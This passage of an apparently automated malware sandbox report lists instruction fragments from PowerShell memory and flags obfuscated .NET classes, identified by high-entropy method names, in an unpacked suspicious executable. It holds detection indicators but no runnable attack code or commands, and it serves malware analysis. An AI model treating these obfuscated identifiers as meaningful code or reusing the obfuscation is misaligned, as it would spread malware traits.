Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_049A635D push eax; ret	12_2_049A6371
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_089B74B0 push esp; ret	12_2_089B74B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_04D850E7 pushfd ; retf 0008h	15_2_04D85092
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_04D842EB push esi; retf 0008h	15_2_04D84312
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_04D842A8 push esi; retf 0008h	15_2_04D84312
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_04D873C0 pushfd ; retf 0008h	15_2_04D873D9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_04D84347 push esi; retf 0008h	15_2_04D84312
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_04D86377 push eax; ret	15_2_04D86381

Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, hnx6gUrEdLQrZkHVbuR3ysbr53WS710OBdOIkG5FDwALkL6YfHbGqIX9XCBl3Z45cvNhJ0UAqRKkJ2ASGu.cs	High entropy of concatenated method names: 'MCn27tSY8m8i0mQ9jTbjuVHKaSgqYhUkRjSHBdcOkYFlg8Wn9mswDqq3K0PFYlmjHGHg8Up9W1mNx05qf6', 'SNOu6jVft9cVYusd2OUL7FeVgDXjQDIxPjC3exdlIEB32VAaU2uceEwamxZLiJnc1O5qWbeNMlzS46YzU4', '_4JkXxspwrShWYOu8EqloypdaBacXKoohL2KKLq1fj1TYvJW5ytBCivHnUpzIni2aNrZhaW5ZGzqmJ7j3Oh', 'NgBa3eHghoFV7qHrsS2VrAKDnKPi2vLBU86CKvgUwGabTvVFwU0gRkAldtJQ0Fckajx1hA6fQClYg', 'gTOW2jvgUcMv1GDuUzTHZYm94k8mdVx9epxdwrnpFKkJLIgAAIjaKZxsKRa1QeZkRs3lqLorR9YMD', 't4f0jWe5oCErz0xtT2VvAuPGesSz51jNAQuTfAunHCxCmoghpMAVX6VDcDI76zFN5OQFmzRwHy2nE', 'xW6GDhLRfdRzhjPNsesQzpmMlYvAntWk8TsmBn8EEei0LXygethQiBAJknCqMGe0CvpFabzxEATEb', 'HarFJk2ViRXGJqoKYokpIAUFmTVTVSVoqG6q0', '_2vqhNDxcS7WhtxYQgeVn866eHi14fsLrqukVP', 'P4wEPP6H9xEoxZLsNnbgYphv0lli04jh4JjZx'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.cs	High entropy of concatenated method names: 'NpcKyY8maoDwxlvcxcRVIup0lIXmeyH8kKiaYCT7aOD6VENYPDCdnSr03QmpxhZCVORzTPqi6c', 'zNMrRdE72TFU2RTnon79VMKhD0b6suqoJ168BDeXUMb3i3NDFQANGwDRmBA3Zo6Fqg4pWktyVw', '_2mLODVkjd3B1ofUY7GLtrEci3PBJ75leQzdHDZb0AEKH00BkImIuSIfM9Sd2nOhwO6BmSEM7PE', 'lSFXiHexEfWlc5Do0v38QCSODXKS5k7smjtpIl0WY9n25PtCDS8wFzzofFkThkpW3896hViUHy'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, ziDLcACXS24cqvyk8UjuSVl0BmE3QkTHg2wMRgvLFj7j9UoOwICcfMi.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'NeHBY7TkxjG1RCnXCeDrkD20fbRLC1rHkE1qZ5kLjkAeGfayjcMGvRlXuZFZg3wsMRepF2Mq0q', 'ynQ4ziIAtnOen2LlhJhRQfSn0QKylkYDJJYFGS6rpROr1ArgXI13qYnCGddAkv4RYWGv52s0Uf', '_10zWt7BkXnaSCItxDFQSP3yZuRi3BaQLq5gwhZM2sHc0yu87IVYAEEHwSU4IqEV0785FewBk3L', 'ERbwvm66yYI2Sc15rniGKXTjT0THCaKzC9mI2TuSfRPgVErFf2gpmdTUbnuQSPfLzlaNegrQHd'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, opnSQ24XL3OilMgfvlfjrC55vSwvR2OJeC4V70NlscRy30DujE.cs	High entropy of concatenated method names: '_1zFkoXKWjWZwJsCT5rL5aqsSge9yRTYw6LnIvFSX3J8Goq5a5Q', 'oOgaruf1KfKOKkywa41JL2m6f2OLZk1fDsny9bEyqsnLqsdI6L', 'Cx4abq6DZqTgeNMz0s5sbOb2x52lJufNPyVBjpXObFziHX3Aqc', 'zrpkx8NbIjtYvf9yoYFmfJ4OkasFMD96zv938UNWkvz5o1X7qV', 'THO2At7ZUJww27YnL9S4NlDYenjLyJod3uAyYdKtFVKiWSHpp254fZk5mrGUIQTCl9vYszDgvvYC5', 'LSnEzCBEZHcSHm4ZYh5qJQ1hXnJpL7DaEkOpVZipoG5oMGdhXBz99qoohk8L4nctuvqVhlBPj5mGk', 'e7GEWK0cRm1YuJs3Xumxe8XU3OLtweGqf6qkKs1GEuKTzlW4bRir3PRNFWBsUaao39bZfplthXwIR', 'AkLkHpJQe693l2V71MmRrUjjcYrKfrvxTXmQXKHLAaiu5BtjlPpZDGtJNrShOgtn9VB8lQnJ4fNTt', 'g9Fxq7yl15MqJtxsouW9iKw6YzvLNubMXWXXuDqqHxml9kD1Ua32y3xfxTP47MjYSaThTVDD1xFcv', 'QRmTMeAUia2a1Nxaq6vsi1YFQmfCOpMddzKDtqq85835m3ROZm4avt5TRdfbjIEqu7d0ddPKuY1g2'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	High entropy of concatenated method names: 'M1c8kiFJbUucucXjaSnfR2nLtPbob09f', 'IMs7q0DloNNoDQRAsyZKCN0CtByg948u', '_7WlRwYCHYBkfE8xwvXDlTPA18YwlHjPk', 'viVHj9d18IScWXsSZQVpgM57FOAQMiDaiWXY2DHoLIuhIh5lwqQahsni0xWz0JD9I', 'hxwwKIciyA4398u8fCK3TuZ9Qo8G6LVrZFx6myx9VfrlE4JL9oExiPiHasnRzSmIj', 'lnPBBZ1bE6cabQay4bBQ2mVezXFzHJg8ZwLf8pX2d6KZ2KmD2ip2DZ8QtA9F6J4Vt', 'iMLJNkAXhSI4cEx6LH5k85VySJ0AVw1Wv6sEGys30BiNiqlYJQGXvejpvVYjiWgOA', '_4NZruWJbryAceex8RUEmqAdwrqJqIUiwVdDU7oFBxp4nAj6TySF7b798EdkFIq814', 'Pz5cl33t9AmOg6l8qmz2QqmffBnN9lviHcYrVqF4hHzhe1buUIo4RZ346VkIYPQY4', 'QBwydCqZT0CJE7vmBfKbW88M1QLiT5YXsab84lSIg6InLLFC4iwR13zhBiUcEcAjP'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, P7MVS4OnCoxDFg2mSN2v9joQ1CWIE3XazYIdBkMBopcpWcdVJqu0Cv9beHbBW0VybvJw0wynn3Few2MvVGmLS0f.cs	High entropy of concatenated method names: 'xIFmamIjxhcygeweRYzJpUfWUuxDESo9nGundshRochQYWakwnk638xR3QxiEerulhGOMdygd5V2KMt5z7SN9Y9', '_6CAhVxC5c5QbKaHb88vJ7HkVXLgbSndC3Bs3rkezT3927CBbvLQ5Q6ALrtLnApfgVLDJasiVQ', 'GRf7qpJUcaF2b4rDtewcJcxzWT1CWpfLuhXLdRCcSXWw9gk0tjvqISDn5z0KlcjogMs5OrRfn', 'mcItlcj118Dv5eqSN5T1i5AystGQV5MN6OZNLOGReA273eaZJ88ykqB5RhC14HgbWCMJgryTE', 'mspEGkObkL0q867onyNhWyTdS656vnhSVSpuGCS60n16OuVwnNVJilWKN8notipzctbiWH9zg', '_9IU6fSrmj55rdN06f5wjRpAwOXdt4RFZ8BJZH47Prsf6yJ5JW6ZPoFgXO6Fwwf3LXmYSYXZ8R', 'mEaik3EQhEou0DDJYG0K2rVdzZNxUfNobBVeQLrssHX59cZGd9hac82RJgMmCj7uby61AKIy1', '_2hw28fS9fiBfck11JSG7DTR30afaAoGGUUosPbdlKyRpvSaklAaaLUaudrAUfxsM5M7HEz9L8', '_2Uaqoj33codsDT4svZAcrwPbKAKNJm1jsxOkjg3O6QESflU4US4xoXyjm5nCWlbwym5mkbS8L', 'MkfQjLexxJ4Y5MbQ8yYK7FuaIzckm96gZI1HXbsBwo8WRNjtdxL0iE4Fg6CzmCywjI1fLtS7u'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, Ov2ngEci2NSKf7CACuPsjFLprayb3eMsaf2hyKnAeHj9NgyiIGGoEZ784qGXyhn0f.cs	High entropy of concatenated method names: 'cyF4dBrRKO7yi6ED1RXvUwsYPyvjMzWwAXUfbsEK6WhKyyzddB3MV1WW6UkteyZjM', 'x2ExmQI9jwo0dxRr1CcTdIrzciqAWfMKEI1XTncDjm9ZMCCV41Tt6chqWXOAWaK5MHraIuUqgYnR8VdemAOAQFO324QC', 'go6ktPSHlSt168oO2OfgAiFnUgGLEb6nzXlM8hFJDiVWbK3qyaXRlqGrtUcdmmgEiMzg9L2PX9NG8', 'T9jL2uggett9kBTiRhu3YLvzwHJ9GEUZify4mqyzSycUjDn1LtKJdlVUwFrZPSgeGqGnQ4RbauC79', 'HicLbQMe9mKgqTbKmzgtX7Ax6qBdnyY6chfIe6SDH9qlsj9BfgwSj1gVo36Bfnzj5LzOkU8JXlYbP'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, FLqkNq8t7ZY3Yw7PCsbqcLX8x9QP6PHSYCwnL7hC0R9W8ZtGfW.cs	High entropy of concatenated method names: 'wcfrJVluv3OS7yUY36HHEOEb3KIiEC3tePn2gDp886Cp1mw4DK', '_6gMZvqFuMJTFoBplDUK8mFGdtcesKwT1P1HkwzQG9b4p1UyylG', 'UNFgPUvNX7lJ21brhgt98hYwhdf6gk6mtZnKLUVZh9Vk3bAWf9', '_9SOzBfeG8MGTEJgUzN9DtpvO6oYoyVMb5utGz99MVIOXuaOVsKWWjxjkPcgOnRTgATahKUy1pezK2', 'HglCyM4Jg53pqX902L2a5IOSdwEyCE7vqg2Y8uNWN5pTSvhVFYZKX4XsXKjSRQxlaKqog7hzaTc9T', 'qYJe3i18rPj9gib7P8z65HgFG9DNP2sYJS4nUFWICITEa3rthmonrzq3nvsmTaYOteWFh8h77HGwy', 'FqzhCIIAomJZSSM4j8tfEuBxyEjWWpfOAxSVrXgtGTCilAil8UZAOg9d1QiYlZBWFwq2YBAGf1WCv', 'bzt659amT8V3PZ8xfL4XUeUaT8yBBzxMz4j0b7cOjwp63MQyclttcGgPDy7xKzlZ2ZpXco5ztBZip', '_6eqWmqnW4oQf7GnCqoZgLaxXdgCfosvWAurXTAkDEQyj1ocSMBVEH3HsU4Dd60eJWcdqVxakPrQzK', '_5f72odwL6IfroqBRVAibV5aXok16O5QtWwkt7PajH9t6ucPwSzDRmq9JsJttWVCxdQSSNNhqqmtIB'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.cs	High entropy of concatenated method names: 'IqCY5ARkNOvWyqqjvLsY5SbFsxdTHwZxfPSmxYkVCyfhCki8aw', 'K5rKr2zgNMyDsGKQwrE6mTuIfaT3xADZiC0B1OrM46gGt9HqeD', 'VPpDPIotu6pMH1Cs8mGfYkCq28yFcglBfT4hNqV81b9y2lR1jo', 'M9k9ko3eSQ4rK1i8vAJX1QLwoiiXd5AJginNuiz61pokGFQ8TW', 'm7XyOM43gO65utKMRRHxHBAVbwtkNIFUlAZwJ2xwlaSYhEWvjZ', 'ITaGyHzq9WHYJfuo5IdindCbGEMf5inZkp2XLDs3r5w9eonL84', 'bIPZ4nieEwHFLMBHuq7hvJ3BpSQuo7d8sR4GF27uAmacBjbv9Q', 'XOeiLNyUXueNYW3zzG2nvo0eJdPJDHtByX2gJMf3HRkjalox7g', 'DRUGSg0piHSn38oBZXNYdRLixptxsvtAisO0JIJ5aVtIJR6GbO', 'EGYlzJtcZoAvfuFHsR7OjQSuZXxNOIKAoFVon54hcgOcebfwrn'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, Kgn0Nl0cIVemHWKGRa2fKZarKOln46ySB1LQfPpw5mm9bvx1kkun9MhJghfZQsiZK.cs	High entropy of concatenated method names: 'ZXg0uSo4FTOUnE2WSjicvZslQk2lqtORPWQvrK4WuHvONDHc54Fy4EpnxnwRaOc0f', 'ljt5YwntiiKZBAoYd8kMEwFFUNVakzSb6liLBUQkUIkGlZdWra5buYOs1HCtLKSwf', 'SPgB8y2Y6yiy1BmeNENfU31S2iqtBI3MHnHvVZfxjwLMaSiPUv', 'GJeyvC7H1k0VVI1MZSiEO1WXmSQGOzmXYKY4XabJOL9svwy9Wh', '_7U79M5KPcHdMepvALfjVXxWspOqB8Im5gLJzJhPAnvFLhNYEOu', '_5MPTmxWNCFXDgxsi2y37uQlb3jjFH7a5LwKqz0dQAkKYXHzzYW', 'dHeeJ2G6Pxbsw2nv1SMDv2orMUWs5Fbi9gyoyf6Ku0jXATtWlH', '_5mnCGT5mmv3A97bE54cNurisrN4A8HgMRLI84IxlvcpGarEh1p', '_0LXlGLbPdLQUcSJF5A9UejYoHCH8qWvx2UveVDzjlDEkBadKrL', 'fWWPhBTguISksjCVEg4pVoab1AOw1DUWi4OaFRcQMLHS39K0Ob'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, lEUGg6TA9ZXhbgEHfaMx1ThY0rstjl4mMi7j330wAMwhdD01Mrjs6w54EiOFdqtB4DyMgA4qQkZKvQFVFIZ6aNb.cs	High entropy of concatenated method names: 'DKZt1Nmba5mu3gym5xqSWDbmChbpLhNf2cE1EL0Z2KtdUApJ40Vk5JELfW0kvUKZeTIucfJQqFMZAjvcPT02b1g', 'BC9oN1P8z9pfs2GnQEIhckIAXU1sYzGI6F0FqTW9cBCJG1gmTjCccMDn5sCxqI1XujSNM8pBTUmEYTk075oNzNg', 'M6o1H8i9q41o0dzUkzzSsWPR22F2kTKdWIXhxxD3o5nGmdTbgZguKnUOihYBpn0HRmtxSDESLf9GHMsYAUdM752', 'ePUOuxnIKy5gCP68dUdcI7mP96EzI0CHLbWpKwOVaJmguj0sKr8aybGqdALgVDHQ001doHiycKpq57E3J5GkHYp', 'KeaAToFHIO8SNmEILop6uCUoEKFSRWMci0jQZXIy9s4Ri5jMpZNC6VW70S5uWu9nZUZgbpmvp4BUwUd2ghTBHbk', 'UOgQIHadJlEWVfg2Wch0gX96asCCW0dhmwuYrUnR5Fg1riIAYReqrhzky0XNUZ09sxQh8eaYhO', 'gkxn8bi7xQYmqFjNnzFygK3JoBYajNty0140aZTz5QpnMRXPYJHw7lsEDPTIQvVwOwh9GfY25s', 'uUhqZ3uwUhvvmhdXwCTOcoPPpnknCwqgFJ56JjIefDAtOlUp0gn0E3DliLjQeYHQHY4FFJemZw', '_1mj0tZFCwTP3OLSNzUIUp49foiTDOeJLgq5uY2BCw1avlHSbONq8wkSPQ7wbUflB4pte70LUZp', 'JlvyOS4ZlISKoEMVsQH2HCJmLG4CuLphSGG7NWAhp6tSuzNstEB3DNmNbQgkG7GcUKluGMV6Zn'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, hnx6gUrEdLQrZkHVbuR3ysbr53WS710OBdOIkG5FDwALkL6YfHbGqIX9XCBl3Z45cvNhJ0UAqRKkJ2ASGu.cs	High entropy of concatenated method names: 'MCn27tSY8m8i0mQ9jTbjuVHKaSgqYhUkRjSHBdcOkYFlg8Wn9mswDqq3K0PFYlmjHGHg8Up9W1mNx05qf6', 'SNOu6jVft9cVYusd2OUL7FeVgDXjQDIxPjC3exdlIEB32VAaU2uceEwamxZLiJnc1O5qWbeNMlzS46YzU4', '_4JkXxspwrShWYOu8EqloypdaBacXKoohL2KKLq1fj1TYvJW5ytBCivHnUpzIni2aNrZhaW5ZGzqmJ7j3Oh', 'NgBa3eHghoFV7qHrsS2VrAKDnKPi2vLBU86CKvgUwGabTvVFwU0gRkAldtJQ0Fckajx1hA6fQClYg', 'gTOW2jvgUcMv1GDuUzTHZYm94k8mdVx9epxdwrnpFKkJLIgAAIjaKZxsKRa1QeZkRs3lqLorR9YMD', 't4f0jWe5oCErz0xtT2VvAuPGesSz51jNAQuTfAunHCxCmoghpMAVX6VDcDI76zFN5OQFmzRwHy2nE', 'xW6GDhLRfdRzhjPNsesQzpmMlYvAntWk8TsmBn8EEei0LXygethQiBAJknCqMGe0CvpFabzxEATEb', 'HarFJk2ViRXGJqoKYokpIAUFmTVTVSVoqG6q0', '_2vqhNDxcS7WhtxYQgeVn866eHi14fsLrqukVP', 'P4wEPP6H9xEoxZLsNnbgYphv0lli04jh4JjZx'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.cs	High entropy of concatenated method names: 'NpcKyY8maoDwxlvcxcRVIup0lIXmeyH8kKiaYCT7aOD6VENYPDCdnSr03QmpxhZCVORzTPqi6c', 'zNMrRdE72TFU2RTnon79VMKhD0b6suqoJ168BDeXUMb3i3NDFQANGwDRmBA3Zo6Fqg4pWktyVw', '_2mLODVkjd3B1ofUY7GLtrEci3PBJ75leQzdHDZb0AEKH00BkImIuSIfM9Sd2nOhwO6BmSEM7PE', 'lSFXiHexEfWlc5Do0v38QCSODXKS5k7smjtpIl0WY9n25PtCDS8wFzzofFkThkpW3896hViUHy'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, ziDLcACXS24cqvyk8UjuSVl0BmE3QkTHg2wMRgvLFj7j9UoOwICcfMi.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'NeHBY7TkxjG1RCnXCeDrkD20fbRLC1rHkE1qZ5kLjkAeGfayjcMGvRlXuZFZg3wsMRepF2Mq0q', 'ynQ4ziIAtnOen2LlhJhRQfSn0QKylkYDJJYFGS6rpROr1ArgXI13qYnCGddAkv4RYWGv52s0Uf', '_10zWt7BkXnaSCItxDFQSP3yZuRi3BaQLq5gwhZM2sHc0yu87IVYAEEHwSU4IqEV0785FewBk3L', 'ERbwvm66yYI2Sc15rniGKXTjT0THCaKzC9mI2TuSfRPgVErFf2gpmdTUbnuQSPfLzlaNegrQHd'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, opnSQ24XL3OilMgfvlfjrC55vSwvR2OJeC4V70NlscRy30DujE.cs	High entropy of concatenated method names: '_1zFkoXKWjWZwJsCT5rL5aqsSge9yRTYw6LnIvFSX3J8Goq5a5Q', 'oOgaruf1KfKOKkywa41JL2m6f2OLZk1fDsny9bEyqsnLqsdI6L', 'Cx4abq6DZqTgeNMz0s5sbOb2x52lJufNPyVBjpXObFziHX3Aqc', 'zrpkx8NbIjtYvf9yoYFmfJ4OkasFMD96zv938UNWkvz5o1X7qV', 'THO2At7ZUJww27YnL9S4NlDYenjLyJod3uAyYdKtFVKiWSHpp254fZk5mrGUIQTCl9vYszDgvvYC5', 'LSnEzCBEZHcSHm4ZYh5qJQ1hXnJpL7DaEkOpVZipoG5oMGdhXBz99qoohk8L4nctuvqVhlBPj5mGk', 'e7GEWK0cRm1YuJs3Xumxe8XU3OLtweGqf6qkKs1GEuKTzlW4bRir3PRNFWBsUaao39bZfplthXwIR', 'AkLkHpJQe693l2V71MmRrUjjcYrKfrvxTXmQXKHLAaiu5BtjlPpZDGtJNrShOgtn9VB8lQnJ4fNTt', 'g9Fxq7yl15MqJtxsouW9iKw6YzvLNubMXWXXuDqqHxml9kD1Ua32y3xfxTP47MjYSaThTVDD1xFcv', 'QRmTMeAUia2a1Nxaq6vsi1YFQmfCOpMddzKDtqq85835m3ROZm4avt5TRdfbjIEqu7d0ddPKuY1g2'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	High entropy of concatenated method names: 'M1c8kiFJbUucucXjaSnfR2nLtPbob09f', 'IMs7q0DloNNoDQRAsyZKCN0CtByg948u', '_7WlRwYCHYBkfE8xwvXDlTPA18YwlHjPk', 'viVHj9d18IScWXsSZQVpgM57FOAQMiDaiWXY2DHoLIuhIh5lwqQahsni0xWz0JD9I', 'hxwwKIciyA4398u8fCK3TuZ9Qo8G6LVrZFx6myx9VfrlE4JL9oExiPiHasnRzSmIj', 'lnPBBZ1bE6cabQay4bBQ2mVezXFzHJg8ZwLf8pX2d6KZ2KmD2ip2DZ8QtA9F6J4Vt', 'iMLJNkAXhSI4cEx6LH5k85VySJ0AVw1Wv6sEGys30BiNiqlYJQGXvejpvVYjiWgOA', '_4NZruWJbryAceex8RUEmqAdwrqJqIUiwVdDU7oFBxp4nAj6TySF7b798EdkFIq814', 'Pz5cl33t9AmOg6l8qmz2QqmffBnN9lviHcYrVqF4hHzhe1buUIo4RZ346VkIYPQY4', 'QBwydCqZT0CJE7vmBfKbW88M1QLiT5YXsab84lSIg6InLLFC4iwR13zhBiUcEcAjP'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, P7MVS4OnCoxDFg2mSN2v9joQ1CWIE3XazYIdBkMBopcpWcdVJqu0Cv9beHbBW0VybvJw0wynn3Few2MvVGmLS0f.cs	High entropy of concatenated method names: 'xIFmamIjxhcygeweRYzJpUfWUuxDESo9nGundshRochQYWakwnk638xR3QxiEerulhGOMdygd5V2KMt5z7SN9Y9', '_6CAhVxC5c5QbKaHb88vJ7HkVXLgbSndC3Bs3rkezT3927CBbvLQ5Q6ALrtLnApfgVLDJasiVQ', 'GRf7qpJUcaF2b4rDtewcJcxzWT1CWpfLuhXLdRCcSXWw9gk0tjvqISDn5z0KlcjogMs5OrRfn', 'mcItlcj118Dv5eqSN5T1i5AystGQV5MN6OZNLOGReA273eaZJ88ykqB5RhC14HgbWCMJgryTE', 'mspEGkObkL0q867onyNhWyTdS656vnhSVSpuGCS60n16OuVwnNVJilWKN8notipzctbiWH9zg', '_9IU6fSrmj55rdN06f5wjRpAwOXdt4RFZ8BJZH47Prsf6yJ5JW6ZPoFgXO6Fwwf3LXmYSYXZ8R', 'mEaik3EQhEou0DDJYG0K2rVdzZNxUfNobBVeQLrssHX59cZGd9hac82RJgMmCj7uby61AKIy1', '_2hw28fS9fiBfck11JSG7DTR30afaAoGGUUosPbdlKyRpvSaklAaaLUaudrAUfxsM5M7HEz9L8', '_2Uaqoj33codsDT4svZAcrwPbKAKNJm1jsxOkjg3O6QESflU4US4xoXyjm5nCWlbwym5mkbS8L', 'MkfQjLexxJ4Y5MbQ8yYK7FuaIzckm96gZI1HXbsBwo8WRNjtdxL0iE4Fg6CzmCywjI1fLtS7u'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, Ov2ngEci2NSKf7CACuPsjFLprayb3eMsaf2hyKnAeHj9NgyiIGGoEZ784qGXyhn0f.cs	High entropy of concatenated method names: 'cyF4dBrRKO7yi6ED1RXvUwsYPyvjMzWwAXUfbsEK6WhKyyzddB3MV1WW6UkteyZjM', 'x2ExmQI9jwo0dxRr1CcTdIrzciqAWfMKEI1XTncDjm9ZMCCV41Tt6chqWXOAWaK5MHraIuUqgYnR8VdemAOAQFO324QC', 'go6ktPSHlSt168oO2OfgAiFnUgGLEb6nzXlM8hFJDiVWbK3qyaXRlqGrtUcdmmgEiMzg9L2PX9NG8', 'T9jL2uggett9kBTiRhu3YLvzwHJ9GEUZify4mqyzSycUjDn1LtKJdlVUwFrZPSgeGqGnQ4RbauC79', 'HicLbQMe9mKgqTbKmzgtX7Ax6qBdnyY6chfIe6SDH9qlsj9BfgwSj1gVo36Bfnzj5LzOkU8JXlYbP'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, FLqkNq8t7ZY3Yw7PCsbqcLX8x9QP6PHSYCwnL7hC0R9W8ZtGfW.cs	High entropy of concatenated method names: 'wcfrJVluv3OS7yUY36HHEOEb3KIiEC3tePn2gDp886Cp1mw4DK', '_6gMZvqFuMJTFoBplDUK8mFGdtcesKwT1P1HkwzQG9b4p1UyylG', 'UNFgPUvNX7lJ21brhgt98hYwhdf6gk6mtZnKLUVZh9Vk3bAWf9', '_9SOzBfeG8MGTEJgUzN9DtpvO6oYoyVMb5utGz99MVIOXuaOVsKWWjxjkPcgOnRTgATahKUy1pezK2', 'HglCyM4Jg53pqX902L2a5IOSdwEyCE7vqg2Y8uNWN5pTSvhVFYZKX4XsXKjSRQxlaKqog7hzaTc9T', 'qYJe3i18rPj9gib7P8z65HgFG9DNP2sYJS4nUFWICITEa3rthmonrzq3nvsmTaYOteWFh8h77HGwy', 'FqzhCIIAomJZSSM4j8tfEuBxyEjWWpfOAxSVrXgtGTCilAil8UZAOg9d1QiYlZBWFwq2YBAGf1WCv', 'bzt659amT8V3PZ8xfL4XUeUaT8yBBzxMz4j0b7cOjwp63MQyclttcGgPDy7xKzlZ2ZpXco5ztBZip', '_6eqWmqnW4oQf7GnCqoZgLaxXdgCfosvWAurXTAkDEQyj1ocSMBVEH3HsU4Dd60eJWcdqVxakPrQzK', '_5f72odwL6IfroqBRVAibV5aXok16O5QtWwkt7PajH9t6ucPwSzDRmq9JsJttWVCxdQSSNNhqqmtIB'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.cs	High entropy of concatenated method names: 'IqCY5ARkNOvWyqqjvLsY5SbFsxdTHwZxfPSmxYkVCyfhCki8aw', 'K5rKr2zgNMyDsGKQwrE6mTuIfaT3xADZiC0B1OrM46gGt9HqeD', 'VPpDPIotu6pMH1Cs8mGfYkCq28yFcglBfT4hNqV81b9y2lR1jo', 'M9k9ko3eSQ4rK1i8vAJX1QLwoiiXd5AJginNuiz61pokGFQ8TW', 'm7XyOM43gO65utKMRRHxHBAVbwtkNIFUlAZwJ2xwlaSYhEWvjZ', 'ITaGyHzq9WHYJfuo5IdindCbGEMf5inZkp2XLDs3r5w9eonL84', 'bIPZ4nieEwHFLMBHuq7hvJ3BpSQuo7d8sR4GF27uAmacBjbv9Q', 'XOeiLNyUXueNYW3zzG2nvo0eJdPJDHtByX2gJMf3HRkjalox7g', 'DRUGSg0piHSn38oBZXNYdRLixptxsvtAisO0JIJ5aVtIJR6GbO', 'EGYlzJtcZoAvfuFHsR7OjQSuZXxNOIKAoFVon54hcgOcebfwrn'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, Kgn0Nl0cIVemHWKGRa2fKZarKOln46ySB1LQfPpw5mm9bvx1kkun9MhJghfZQsiZK.cs	High entropy of concatenated method names: 'ZXg0uSo4FTOUnE2WSjicvZslQk2lqtORPWQvrK4WuHvONDHc54Fy4EpnxnwRaOc0f', 'ljt5YwntiiKZBAoYd8kMEwFFUNVakzSb6liLBUQkUIkGlZdWra5buYOs1HCtLKSwf', 'SPgB8y2Y6yiy1BmeNENfU31S2iqtBI3MHnHvVZfxjwLMaSiPUv', 'GJeyvC7H1k0VVI1MZSiEO1WXmSQGOzmXYKY4XabJOL9svwy9Wh', '_7U79M5KPcHdMepvALfjVXxWspOqB8Im5gLJzJhPAnvFLhNYEOu', '_5MPTmxWNCFXDgxsi2y37uQlb3jjFH7a5LwKqz0dQAkKYXHzzYW', 'dHeeJ2G6Pxbsw2nv1SMDv2orMUWs5Fbi9gyoyf6Ku0jXATtWlH', '_5mnCGT5mmv3A97bE54cNurisrN4A8HgMRLI84IxlvcpGarEh1p', '_0LXlGLbPdLQUcSJF5A9UejYoHCH8qWvx2UveVDzjlDEkBadKrL', 'fWWPhBTguISksjCVEg4pVoab1AOw1DUWi4OaFRcQMLHS39K0Ob'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, lEUGg6TA9ZXhbgEHfaMx1ThY0rstjl4mMi7j330wAMwhdD01Mrjs6w54EiOFdqtB4DyMgA4qQkZKvQFVFIZ6aNb.cs	High entropy of concatenated method names: 'DKZt1Nmba5mu3gym5xqSWDbmChbpLhNf2cE1EL0Z2KtdUApJ40Vk5JELfW0kvUKZeTIucfJQqFMZAjvcPT02b1g', 'BC9oN1P8z9pfs2GnQEIhckIAXU1sYzGI6F0FqTW9cBCJG1gmTjCccMDn5sCxqI1XujSNM8pBTUmEYTk075oNzNg', 'M6o1H8i9q41o0dzUkzzSsWPR22F2kTKdWIXhxxD3o5nGmdTbgZguKnUOihYBpn0HRmtxSDESLf9GHMsYAUdM752', 'ePUOuxnIKy5gCP68dUdcI7mP96EzI0CHLbWpKwOVaJmguj0sKr8aybGqdALgVDHQ001doHiycKpq57E3J5GkHYp', 'KeaAToFHIO8SNmEILop6uCUoEKFSRWMci0jQZXIy9s4Ri5jMpZNC6VW70S5uWu9nZUZgbpmvp4BUwUd2ghTBHbk', 